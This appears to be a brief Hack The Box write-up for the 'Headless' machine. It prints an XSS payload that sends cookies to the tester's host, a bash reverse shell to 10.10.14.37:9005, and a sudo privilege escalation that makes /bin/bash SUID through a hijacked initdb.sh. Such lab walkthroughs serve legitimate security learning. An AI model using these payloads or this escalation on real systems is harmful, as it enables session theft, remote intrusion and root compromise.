Headless HTB

There are two ports open:

PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Checking port 5000 there is a website and ther is a support section that might be susceptible to XSS Now trying to get the cookie as there is a cookie called is_admin but it is hashed. Now running a webserver on host and using the following XSS payload:

<img src=x onerror=fetch('http://10.10.14.37/'+document.cookie);>

We get the cookie value: Using gobuster discovered /dashboard

Now using this cookie we can access /dashboard There is a code execution here Now writing a shell.sh.

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.37/9005 0>&1

And using burpsuite to intercept: Now we get a shell We have sudo privilege over syscheck. Now checking the application with strings. It is calling initdb.sh We can add something malicious in initdb.sh

echo "chmod u+s /bin/bash" > initdb.s
chmod +x initdb.sh

Now can run

sudo /usr/bin/syscheck
/bin/bash -p

And we get a root shell: